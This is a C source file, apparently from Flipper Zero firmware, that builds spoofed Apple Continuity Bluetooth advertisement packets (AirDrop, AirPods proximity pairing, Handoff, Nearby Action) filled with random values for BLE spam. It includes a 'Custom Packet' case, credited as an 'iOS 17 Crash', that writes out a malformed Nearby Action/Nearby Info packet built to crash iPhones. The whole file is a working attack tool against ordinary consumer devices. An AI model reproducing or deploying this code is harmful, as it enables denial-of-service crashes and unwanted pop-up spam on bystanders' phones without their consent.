continuity.c 6.5 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165
  1. #include "continuity.h"
  2. #include <furi_hal_random.h>
  3. #include <core/core_defines.h>
  4. // Hacked together by @Willy-JL
  5. // Custom adv logic by @Willy-JL (idea by @xMasterX)
  6. // iOS 17 Crash by @ECTO-1A
  7. // Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A
  8. // Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/
  9. // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
  10. // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
  11. static const char* continuity_type_names[ContinuityTypeCount] = {
  12. [ContinuityTypeAirDrop] = "AirDrop",
  13. [ContinuityTypeProximityPair] = "Proximity Pair",
  14. [ContinuityTypeAirplayTarget] = "Airplay Target",
  15. [ContinuityTypeHandoff] = "Handoff",
  16. [ContinuityTypeTetheringSource] = "Tethering Source",
  17. [ContinuityTypeNearbyAction] = "Nearby Action",
  18. [ContinuityTypeNearbyInfo] = "Nearby Info",
  19. [ContinuityTypeCustomCrash] = "Custom Packet",
  20. };
  21. const char* continuity_get_type_name(ContinuityType type) {
  22. return continuity_type_names[type];
  23. }
  24. #define HEADER_LEN (6) // 1 Length + 1 ? + 2 Company ID + 1 Continuity Type + 1 Continuity Length
  25. static uint8_t continuity_packet_sizes[ContinuityTypeCount] = {
  26. [ContinuityTypeAirDrop] = HEADER_LEN + 18,
  27. [ContinuityTypeProximityPair] = HEADER_LEN + 25,
  28. [ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
  29. [ContinuityTypeHandoff] = HEADER_LEN + 14,
  30. [ContinuityTypeTetheringSource] = HEADER_LEN + 6,
  31. [ContinuityTypeNearbyAction] = HEADER_LEN + 5,
  32. [ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
  33. [ContinuityTypeCustomCrash] = HEADER_LEN + 11,
  34. };
  35. uint8_t continuity_get_packet_size(ContinuityType type) {
  36. return continuity_packet_sizes[type];
  37. }
  38. void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) {
  39. uint8_t size = continuity_get_packet_size(msg->type);
  40. uint8_t i = 0;
  41. packet[i++] = size - 1; // Packet Length
  42. packet[i++] = 0xFF; // Packet Type (Manufacturer Specific)
  43. packet[i++] = 0x4C; // Packet Company ID (Apple, Inc.)
  44. packet[i++] = 0x00; // ...
  45. packet[i++] = msg->type; // Continuity Type
  46. packet[i] = size - i - 1; // Continuity Length
  47. i++;
  48. switch(msg->type) {
  49. case ContinuityTypeAirDrop:
  50. packet[i++] = 0x00; // Zeros
  51. packet[i++] = 0x00; // ...
  52. packet[i++] = 0x00; // ...
  53. packet[i++] = 0x00; // ...
  54. packet[i++] = 0x00; // ...
  55. packet[i++] = 0x00; // ...
  56. packet[i++] = 0x00; // ...
  57. packet[i++] = 0x00; // ...
  58. packet[i++] = 0x01; // Version
  59. packet[i++] = (rand() % 256); // AppleID
  60. packet[i++] = (rand() % 256); // ...
  61. packet[i++] = (rand() % 256); // Phone Number
  62. packet[i++] = (rand() % 256); // ...
  63. packet[i++] = (rand() % 256); // Email
  64. packet[i++] = (rand() % 256); // ...
  65. packet[i++] = (rand() % 256); // Email2
  66. packet[i++] = (rand() % 256); // ...
  67. packet[i++] = 0x00; // Zero
  68. break;
  69. case ContinuityTypeProximityPair:
  70. packet[i++] = msg->data.proximity_pair.prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05)
  71. packet[i++] = msg->data.proximity_pair.model >> 8;
  72. packet[i++] = msg->data.proximity_pair.model & 0xFF;
  73. packet[i++] = 0x55; // Status
  74. packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level
  75. packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level
  76. packet[i++] = (rand() % 256); // Lid Open Counter
  77. packet[i++] = 0x00; // Device Color
  78. packet[i++] = 0x00;
  79. furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload
  80. i += 16;
  81. break;
  82. case ContinuityTypeAirplayTarget:
  83. packet[i++] = (rand() % 256); // Flags
  84. packet[i++] = (rand() % 256); // Configuration Seed
  85. packet[i++] = (rand() % 256); // IPv4 Address
  86. packet[i++] = (rand() % 256); // ...
  87. packet[i++] = (rand() % 256); // ...
  88. packet[i++] = (rand() % 256); // ...
  89. break;
  90. case ContinuityTypeHandoff:
  91. packet[i++] = 0x01; // Version
  92. packet[i++] = (rand() % 256); // Initialization Vector
  93. packet[i++] = (rand() % 256); // ...
  94. packet[i++] = (rand() % 256); // AES-GCM Auth Tag
  95. packet[i++] = (rand() % 256); // Encrypted Payload
  96. packet[i++] = (rand() % 256); // ...
  97. packet[i++] = (rand() % 256); // ...
  98. packet[i++] = (rand() % 256); // ...
  99. packet[i++] = (rand() % 256); // ...
  100. packet[i++] = (rand() % 256); // ...
  101. packet[i++] = (rand() % 256); // ...
  102. packet[i++] = (rand() % 256); // ...
  103. packet[i++] = (rand() % 256); // ...
  104. packet[i++] = (rand() % 256); // ...
  105. break;
  106. case ContinuityTypeTetheringSource:
  107. packet[i++] = 0x01; // Version
  108. packet[i++] = (rand() % 256); // Flags
  109. packet[i++] = (rand() % 101); // Battery Life
  110. packet[i++] = 0x00; // Cell Service Type
  111. packet[i++] = (rand() % 8); // ...
  112. packet[i++] = (rand() % 5); // Cell Service Strength
  113. break;
  114. case ContinuityTypeNearbyAction:
  115. packet[i] = msg->data.nearby_action.flags; // Action Flags
  116. if(packet[i] == 0xBF && rand() % 2) packet[i]++; // Ugly hack to shift 0xBF-0xC0 for spam
  117. i++;
  118. packet[i++] = msg->data.nearby_action.type;
  119. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  120. i += 3;
  121. break;
  122. case ContinuityTypeNearbyInfo:
  123. packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code
  124. packet[i++] = (rand() % 256); // Status Flags
  125. packet[i++] = (rand() % 256); // Authentication Tag
  126. packet[i++] = (rand() % 256); // ...
  127. packet[i++] = (rand() % 256); // ...
  128. break;
  129. case ContinuityTypeCustomCrash:
  130. // Found by @ECTO-1A
  131. i -= 2; // Override segment header
  132. packet[i++] = ContinuityTypeNearbyAction; // Type
  133. packet[i++] = 0x05; // Length
  134. packet[i++] = 0xC1; // Action Flags
  135. const uint8_t types[] = {0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0};
  136. packet[i++] = types[rand() % COUNT_OF(types)]; // Action Type
  137. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  138. i += 3;
  139. packet[i++] = 0x00; // ???
  140. packet[i++] = 0x00; // ???
  141. packet[i++] = ContinuityTypeNearbyInfo; // Type ???
  142. furi_hal_random_fill_buf(&packet[i], 3); // Shenanigans (Length + IDK) ???
  143. i += 3;
  144. break;
  145. default:
  146. break;
  147. }
  148. }